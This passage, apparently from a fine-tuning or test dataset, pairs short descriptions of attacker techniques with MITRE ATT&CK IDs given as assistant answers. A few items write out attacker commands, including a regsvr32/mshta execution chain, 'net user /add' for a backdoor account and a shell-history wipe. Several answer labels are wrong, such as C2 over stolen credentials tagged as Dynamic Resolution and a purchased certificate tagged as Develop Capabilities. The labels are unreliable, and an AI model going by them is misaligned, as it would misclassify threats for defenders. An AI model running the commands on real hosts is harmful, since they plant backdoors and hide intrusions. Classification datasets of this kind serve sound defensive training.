                "content": "Malware uses a resolver library to translate a domain name to an IP address each time it needs to communicate with the attacker."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use WHOIS lookup and DNS queries to map the victim organization's network infrastructure and associated domains."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a scheduled task to move collected credential files into a staging folder on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion attempts to purge local accounts by deleting their profile directories and registry entries."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised government portal serves a malicious JavaScript that triggers a fileless exploit chain, delivering a remote execution module to any user visiting the site."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script replaces the audit rules file with an empty one and restarts the audit service, causing no events to be recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a stolen FTP login to upload a CGI web shell, then used it to pivot deeper into the network."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is placed in a directory with a space in its name, and the attacker exploits the OS's inability to parse the unquoted path, leading to execution of the script when a scheduled task references the path."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In preparation for an intrusion, the group harvests metadata from public code‑hosting platforms to identify libraries with known security flaws."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a system launch agent configuration to auto‑start a credential‑stealing script."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL was renamed to .sys to masquerade as a system driver, allowing it to be loaded without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploited a vulnerability in a web service API to execute commands on the backend server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects malicious XSLT into a web service that processes XML, leading to remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries download a remote access trojan (RAT) from a phishing email attachment and store it on the victim's file system."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a code signing certificate from a shady certificate authority to make their malware appear trustworthy."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware executes 'ps -ef' on the victim's Unix system to identify parent-child process relationships."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign used regsvr32 /i:mshta.exe malicious.hta to chain execution and run arbitrary commands on the target system."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT10 transforms data using a custom base‑64 variant that replaces '+' and '/' with '-' and '_' and then compresses it."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows code signing policy to allow unsigned executables to run, bypassing signature enforcement."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a shell script that uses 'xxd' to convert a hex dump back into binary before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses phone number lookup services to gather contact information for target employees."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An unauthorized user runs `net localgroup /domain` to discover privileged domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs the Mavinject tool to load malicious DLLs into a legitimate system process, effectively proxying execution through a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script downloads a proxy list and cycles through multiple proxies to avoid detection while communicating with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder reads IRC channel logs on a compromised server to find hard‑coded database passwords posted by devs."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivered a weaponized .msg file as an email attachment, which when opened runs a PowerShell command to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the ptrace system call on a compromised Linux host to attach to a running process, writes malicious shellcode into its memory, and then modifies the instruction pointer to execute the injected code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor duplicated a legitimate system DLL, renamed it to a common system utility name, and loaded it to blend in with normal processes."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed DNS queries to gather subdomain information that revealed internal server names linked to specific departments."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes steganographic methods to embed phishing URLs inside benign-looking image files."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a staged dropper delivered via HTTP to move malicious binaries onto the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan steals Opera's encrypted password file and decrypts it using the stored master key."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program creates a window with the \"ShowWindow\" flag set to SW_HIDE, keeping the interface concealed from the desktop."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder breaks up large logs into 512 KB chunks, sending each chunk through separate SMTP messages to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit kits hosted on compromised hosting providers deliver ransomware via drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged a supply chain compromise to push an update that disables the cloud provider's DDoS protection firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Outlook Form code is used to launch a Cobalt Strike beacon after the user interacts with a crafted email."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encrypts its beacon with a static key and then encodes the ciphertext using base64url."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a proxy tool to modify API request parameters on the fly, causing the server to return altered data that privileges the attacker."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queried Azure AD via Microsoft Graph API to list all security groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gains write permissions on a service's executable file, swaps it with a rogue version, and subsequently restarts the service to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses built-in utilities to enumerate all active sockets and their associated remote IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set drops a batch file that runs \"net view\" to list all computers in the current domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor launches a high-rate TCP SYN flood against the victim’s web server, saturating its bandwidth and disrupting legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script calls a Visual Basic interpreter to bypass application whitelisting and launch malware."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the registry to point the Remote Desktop Services DLL path to a custom malicious library, enabling code execution each time a user connects."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leverages DLL search order hijacking by deploying a malicious DLL in the same folder as a target application, ensuring it is loaded first when the application starts."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker modifies the PAM configuration on Linux to execute a backdoor script during user authentication."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create their own self-signed code signing certificates to sign malicious binaries and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages a legitimate admin tool on a compromised endpoint and then transfers it to other networked hosts via shared folders."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the stored authentication token from a cloud storage client and exfiltrates it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors maintain a botnet of compromised cloud instances, using them to launch brute-force attacks against external services."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script calls the \"systeminfo\" command and parses the \"System Boot Time\" field to infer the host's time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor collects system inventory details, including installed software lists."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs net user /add to establish a backdoor account on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program automatically records audio from the microphone every 5 minutes and pushes the recordings to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stopped the auditd service and removed its startup scripts to prevent Linux auditing."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used PowerShell to enumerate the Windows Security Event Log for recent login attempts."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor establishes command and control (C2) communications with a compromised host using stolen credentials, what technique is being used here?"
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary encodes sensitive data within DNS queries to a domain it controls."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a simple HTTP GET request, the malicious script extracts GCP service account tokens from the metadata server."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a privileged Telnet session to run 'write terminal' and captured the running configuration output."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group bought a botnet lease to conduct credential‑stuffing attacks against e‑commerce sites."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers obtain the victim's internal API documentation and authentication protocols through a paid transaction with a compromised employee."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor incorporates a proxy module that points to an external IP address, allowing the attacker to relay commands via that proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint extracts authentication cookies stored in the browser's SQLite database, then uses those cookies to authenticate API calls on behalf of the user."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows AppCert infrastructure to register a DLL that is executed by the system when a certain service starts."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign distributes malicious payloads hidden inside Excel spreadsheets using steganography to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a credential‑harvesting module that scans for password databases of multiple browsers on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script disables the hardware random number generator, undermining the strength of encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload runs a routine that parses the Credential Manager to collect service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After privilege escalation, the actor runs 'history -c && rm -f ~/.zsh_history' to erase both Bash and Zsh histories."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses the Windows API function DnsQuery_A to translate a domain name to an IP address at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑criminals compress logs with GZIP and then encrypt them with a 256‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection leverages a downloader that limits each data upload to 8 MB, preventing large bursts that could trigger alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script dumps the token of a SYSTEM account and then creates a new process under that token to bypass access controls."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the host's location services to ascertain the exact physical location of the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
